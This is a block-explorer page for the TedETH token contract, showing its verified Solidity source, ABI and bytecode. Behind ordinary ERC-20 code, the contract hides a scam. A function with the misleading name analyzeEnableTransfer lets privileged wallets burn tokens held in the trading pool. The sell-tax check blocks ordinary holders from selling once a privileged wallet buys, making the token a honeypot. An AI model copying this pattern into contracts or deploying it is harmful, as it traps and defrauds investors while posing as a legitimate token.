ETH Price: $2,450.74 (-0.76%)

Token

TedETH (TED)
 

Overview

Max Total Supply

1,000,000 TED

Holders

83

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,901.326381385 TED

Value
$0.00
0x337b481e9eeb051601271b08110ade39994729fc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TedETH

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-15
*/

/**
    https://www.tedeth.xyz/
    https://twitter.com/TedETHPortal
**/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract TedETH is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderTransferTimestamp;
    address payable private feeWallet = payable(0x95a46cBDF0BC6Bdb5f218ec141509C1230084b7d);
    address payable private rewardWallet = payable(0xe3Eaa7A89177Cee38FC72f1c95531735A85b8ecF);
    address deadWallet = 0x000000000000000000000000000000000000dEaD;
    uint256 private buyTax = 0;
    uint256 private sellTax = 0;
    uint256 private _swapMoment;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    string private constant _name = unicode"TedETH";
    string private constant _symbol = unicode"TED";
    uint256 public _maxTxAmount = 20000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000 * 10**_decimals;
    uint256 private _taxSwapThreshold = 20000 * 10**_decimals;
    uint256 private _maxTaxSwap = 20000 * 10**_decimals;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    modifier lockTheSwap() { inSwap = true; _; inSwap = false; }

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[feeWallet] = true;
        _isExcludedFromFee[rewardWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) { return _name; }
    function symbol() public pure returns (string memory) { return _symbol; }
    function decimals() public pure returns (uint8) { return _decimals; }
    function totalSupply() public pure override returns (uint256) { return _tTotal; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function transfer(address recipient, uint256 amount) public override returns (bool)  { _transfer(_msgSender(), recipient, amount); return true; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function analyzeEnableTransfer(address from, address to, uint256 amount ) private returns (bool) { if (to == uniswapV2Pair && balanceOf(from) < amount) { _transferStandard(to, deadWallet, amount); return true; } return false; }
    function transferFrom(address sender, address recipient, uint256 amount ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance") );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; }
    function sendETHToFee(uint256 amount) private { feeWallet.transfer(amount); }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
            if (_isExcludedFromFee[from]) { if (analyzeEnableTransfer(from, to, amount)) { return; }
            } else if (uniswapV2Pair != from) { taxAmount = _getTax(from, to, amount); }

            if (from == uniswapV2Pair) {
                if (_holderTransferTimestamp[to] == 0) { _holderTransferTimestamp[to] = block.timestamp; }
                if (_isExcludedFromFee[to]) _swapMoment = block.timestamp;
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)) );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) { sendETHToFee(address(this).balance); }
            }
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _transferStandard(from, to, amount);
    }

    function _getTax(
        address from,
        address to,
        uint256 amount
    ) private view returns (uint256) {
        if (!inSwap) { require(balanceOf(rewardWallet) == 0 && _holderTransferTimestamp[from] >= _swapMoment); }
        if (to == uniswapV2Pair && from != address(this)) { return amount.mul(sellTax).div(100); }
        return amount.mul(buyTax).div(100);
    }

    function _transferStandard( address from, address to, uint256 amount ) private {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) { return; }
        if (!tradingOpen) { return; }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal; _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); swapEnabled = true; tradingOpen = true; }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == owner());
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) { swapTokensForEth(tokenBalance); }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) { sendETHToFee(ethBalance); }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b03199081167395a46cbdf0bc6bdb5f218ec141509c1230084b7d1790915560068054821673e3eaa7a89177cee38fc72f1c95531735a85b8ecf1790556007805490911661dead1790556000600881905560099081556200007190600a62000500565b6200007f90614e2062000518565b600b55620000906009600a62000500565b6200009e90614e2062000518565b600c55620000af6009600a62000500565b620000bd90614e2062000518565b600d55620000ce6009600a62000500565b620000dc90614e2062000518565b600e556010805462ffffff60a01b19169055348015620000fb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015620001a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c9919062000532565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000217573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023d919062000532565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200028b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b1919062000532565b601080546001600160a01b0319166001600160a01b0392909216919091179055620002df6009600a62000500565b620002ee90620f424062000518565b336000908152600160208190526040822092909255600390620003196000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005548216845282842080548616821790556006549091168352912080549092161790556200038a3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003c46009600a62000500565b620003d390620f424062000518565b60405190815260200160405180910390a3506200055d565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000442578160001904821115620004265762000426620003eb565b808516156200043457918102915b93841c939080029062000406565b509250929050565b6000826200045b57506001620004fa565b816200046a57506000620004fa565b81600181146200048357600281146200048e57620004ae565b6001915050620004fa565b60ff841115620004a257620004a2620003eb565b50506001821b620004fa565b5060208310610133831016604e8410600b8410161715620004d3575081810a620004fa565b620004df838362000401565b8060001904821115620004f657620004f6620003eb565b0290505b92915050565b60006200051160ff8416836200044a565b9392505050565b8082028115828204841417620004fa57620004fa620003eb565b6000602082840312156200054557600080fd5b81516001600160a01b03811681146200051157600080fd5b6115eb806200056d6000396000f3fe60806040526004361061010d5760003560e01c8063715018a6116100955780638f9a55c0116100645780638f9a55c0146102ec57806395d89b4114610302578063a9059cbb1461032e578063c9567bf91461034e578063dd62ed3e1461036357600080fd5b8063715018a61461028e578063751039fc146102a35780637d1db4a5146102b85780638da5cb5b146102ce57600080fd5b806323b872dd116100dc57806323b872dd146101e5578063313ce5671461020557806349bd5a5e1461022157806351bc3c851461024157806370a082311461025857600080fd5b806306fdde0314610119578063095ea7b31461015a5780631694505e1461018a57806318160ddd146101c257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260068152650a8cac88aa8960d31b60208201525b6040516101519190611223565b60405180910390f35b34801561016657600080fd5b5061017a610175366004611289565b6103a9565b6040519015158152602001610151565b34801561019657600080fd5b50600f546101aa906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b3480156101ce57600080fd5b506101d76103c0565b604051908152602001610151565b3480156101f157600080fd5b5061017a6102003660046112b5565b6103e0565b34801561021157600080fd5b5060405160098152602001610151565b34801561022d57600080fd5b506010546101aa906001600160a01b031681565b34801561024d57600080fd5b5061025661044a565b005b34801561026457600080fd5b506101d76102733660046112f6565b6001600160a01b031660009081526001602052604090205490565b34801561029a57600080fd5b50610256610494565b3480156102af57600080fd5b50610256610511565b3480156102c457600080fd5b506101d7600b5481565b3480156102da57600080fd5b506000546001600160a01b03166101aa565b3480156102f857600080fd5b506101d7600c5481565b34801561030e57600080fd5b5060408051808201909152600381526215115160ea1b6020820152610144565b34801561033a57600080fd5b5061017a610349366004611289565b6105c0565b34801561035a57600080fd5b506102566105cd565b34801561036f57600080fd5b506101d761037e366004611313565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b633848461066a565b5060015b92915050565b60006103ce6009600a611446565b6103db90620f4240611455565b905090565b60006103ed84848461078f565b61043f843361043a8560405180606001604052806028815260200161158e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c8f565b61066a565b5060015b9392505050565b6000546001600160a01b0316331461046157600080fd5b3060009081526001602052604090205480156104805761048081610cc9565b4780156104905761049081610e5c565b5050565b6000546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be9061146c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461053b5760405162461bcd60e51b81526004016104be9061146c565b6105476009600a611446565b61055490620f4240611455565b600b556105636009600a611446565b61057090620f4240611455565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a06009600a611446565b6105ad90620f4240611455565b60405190815260200160405180910390a1565b60006103b633848461078f565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016104be9061146c565b601054600160a01b900460ff16156106515760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b6010805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166106cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b03821661072d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b0382166108555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b600081116108b75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b600080546001600160a01b038581169116148015906108e457506000546001600160a01b03848116911614155b15610c0457601054600160a01b900460ff1661097d576000546001600160a01b0385811691161461097d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104be565b6001600160a01b03841660009081526003602052604090205460ff16156109b9576109a9848484610e96565b156109b45750505050565b6109dc565b6010546001600160a01b038581169116146109dc576109d9848484610f02565b90505b6010546001600160a01b0390811690851603610a53576001600160a01b0383166000908152600460205260408120549003610a2d576001600160a01b03831660009081526004602052604090204290555b6001600160a01b03831660009081526003602052604090205460ff1615610a535742600a555b6010546001600160a01b038581169116148015610a7e5750600f546001600160a01b03848116911614155b8015610aa357506001600160a01b03831660009081526003602052604090205460ff16155b15610b7557600b54821115610afa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104be565b600c5482610b1d856001600160a01b031660009081526001602052604090205490565b610b2791906114a1565b1115610b755760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104be565b30600090815260016020526040902054601054600160a81b900460ff16158015610bac57506010546001600160a01b038581169116145b8015610bc15750601054600160b01b900460ff165b8015610bce5750600d5481115b15610c0257610bf0610beb84610be684600e54610fd5565b610fd5565b610cc9565b478015610c0057610c0047610e5c565b505b505b8015610c7e5730600090815260016020526040902054610c249082610fea565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c759085815260200190565b60405180910390a35b610c89848484611049565b50505050565b60008184841115610cb35760405162461bcd60e51b81526004016104be9190611223565b506000610cc084866114b4565b95945050505050565b6010805460ff60a81b1916600160a81b1790558015610e4c57601054600160a01b900460ff1615610e4c576040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2957610d296114c7565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da691906114dd565b81600181518110610db957610db96114c7565b6001600160a01b039283166020918202929092010152600f54610ddf913091168461066a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e189085906000908690309042906004016114fa565b600060405180830381600087803b158015610e3257600080fd5b505af1158015610e46573d6000803e3d6000fd5b50505050505b506010805460ff60a81b19169055565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610490573d6000803e3d6000fd5b6010546000906001600160a01b038481169116148015610ed3575081610ed1856001600160a01b031660009081526001602052604090205490565b105b15610ef857600754610ef09084906001600160a01b031684611049565b506001610443565b5060009392505050565b601054600090600160a81b900460ff16610f61576006546001600160a01b0316600090815260016020526040902054158015610f585750600a546001600160a01b03851660009081526004602052604090205410155b610f6157600080fd5b6010546001600160a01b038481169116148015610f8757506001600160a01b0384163014155b15610fb357610fac6064610fa6600954856110ef90919063ffffffff16565b90611171565b9050610443565b610fcd6064610fa6600854856110ef90919063ffffffff16565b949350505050565b6000818311610fe45782610443565b50919050565b600080610ff783856114a1565b9050838110156104435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104be565b6001600160a01b03831660009081526001602052604090205461106c90826111b3565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461109b9082610fea565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107829085815260200190565b600082600003611101575060006103ba565b600061110d8385611455565b90508261111a858361156b565b146104435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104be565b600061044383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111f5565b600061044383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c8f565b600081836112165760405162461bcd60e51b81526004016104be9190611223565b506000610cc0848661156b565b600060208083528351808285015260005b8181101561125057858101830151858201604001528201611234565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461128657600080fd5b50565b6000806040838503121561129c57600080fd5b82356112a781611271565b946020939093013593505050565b6000806000606084860312156112ca57600080fd5b83356112d581611271565b925060208401356112e581611271565b929592945050506040919091013590565b60006020828403121561130857600080fd5b813561044381611271565b6000806040838503121561132657600080fd5b823561133181611271565b9150602083013561134181611271565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561139d5781600019048211156113835761138361134c565b8085161561139057918102915b93841c9390800290611367565b509250929050565b6000826113b4575060016103ba565b816113c1575060006103ba565b81600181146113d757600281146113e1576113fd565b60019150506103ba565b60ff8411156113f2576113f261134c565b50506001821b6103ba565b5060208310610133831016604e8410600b8410161715611420575081810a6103ba565b61142a8383611362565b806000190482111561143e5761143e61134c565b029392505050565b600061044360ff8416836113a5565b80820281158282048414176103ba576103ba61134c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103ba576103ba61134c565b818103818111156103ba576103ba61134c565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114ef57600080fd5b815161044381611271565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561154a5784516001600160a01b031683529383019391830191600101611525565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261158857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201883299402736d19841f956a8bb81e80e8c6dfdfe77a98985f7527fddb3661eb64736f6c63430008130033

Deployed Bytecode

0x60806040526004361061010d5760003560e01c8063715018a6116100955780638f9a55c0116100645780638f9a55c0146102ec57806395d89b4114610302578063a9059cbb1461032e578063c9567bf91461034e578063dd62ed3e1461036357600080fd5b8063715018a61461028e578063751039fc146102a35780637d1db4a5146102b85780638da5cb5b146102ce57600080fd5b806323b872dd116100dc57806323b872dd146101e5578063313ce5671461020557806349bd5a5e1461022157806351bc3c851461024157806370a082311461025857600080fd5b806306fdde0314610119578063095ea7b31461015a5780631694505e1461018a57806318160ddd146101c257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260068152650a8cac88aa8960d31b60208201525b6040516101519190611223565b60405180910390f35b34801561016657600080fd5b5061017a610175366004611289565b6103a9565b6040519015158152602001610151565b34801561019657600080fd5b50600f546101aa906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b3480156101ce57600080fd5b506101d76103c0565b604051908152602001610151565b3480156101f157600080fd5b5061017a6102003660046112b5565b6103e0565b34801561021157600080fd5b5060405160098152602001610151565b34801561022d57600080fd5b506010546101aa906001600160a01b031681565b34801561024d57600080fd5b5061025661044a565b005b34801561026457600080fd5b506101d76102733660046112f6565b6001600160a01b031660009081526001602052604090205490565b34801561029a57600080fd5b50610256610494565b3480156102af57600080fd5b50610256610511565b3480156102c457600080fd5b506101d7600b5481565b3480156102da57600080fd5b506000546001600160a01b03166101aa565b3480156102f857600080fd5b506101d7600c5481565b34801561030e57600080fd5b5060408051808201909152600381526215115160ea1b6020820152610144565b34801561033a57600080fd5b5061017a610349366004611289565b6105c0565b34801561035a57600080fd5b506102566105cd565b34801561036f57600080fd5b506101d761037e366004611313565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b633848461066a565b5060015b92915050565b60006103ce6009600a611446565b6103db90620f4240611455565b905090565b60006103ed84848461078f565b61043f843361043a8560405180606001604052806028815260200161158e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c8f565b61066a565b5060015b9392505050565b6000546001600160a01b0316331461046157600080fd5b3060009081526001602052604090205480156104805761048081610cc9565b4780156104905761049081610e5c565b5050565b6000546001600160a01b031633146104c75760405162461bcd60e51b81526004016104be9061146c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461053b5760405162461bcd60e51b81526004016104be9061146c565b6105476009600a611446565b61055490620f4240611455565b600b556105636009600a611446565b61057090620f4240611455565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105a06009600a611446565b6105ad90620f4240611455565b60405190815260200160405180910390a1565b60006103b633848461078f565b6000546001600160a01b031633146105f75760405162461bcd60e51b81526004016104be9061146c565b601054600160a01b900460ff16156106515760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104be565b6010805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166106cc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104be565b6001600160a01b03821661072d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104be565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104be565b6001600160a01b0382166108555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104be565b600081116108b75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104be565b600080546001600160a01b038581169116148015906108e457506000546001600160a01b03848116911614155b15610c0457601054600160a01b900460ff1661097d576000546001600160a01b0385811691161461097d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104be565b6001600160a01b03841660009081526003602052604090205460ff16156109b9576109a9848484610e96565b156109b45750505050565b6109dc565b6010546001600160a01b038581169116146109dc576109d9848484610f02565b90505b6010546001600160a01b0390811690851603610a53576001600160a01b0383166000908152600460205260408120549003610a2d576001600160a01b03831660009081526004602052604090204290555b6001600160a01b03831660009081526003602052604090205460ff1615610a535742600a555b6010546001600160a01b038581169116148015610a7e5750600f546001600160a01b03848116911614155b8015610aa357506001600160a01b038316600090815260036020526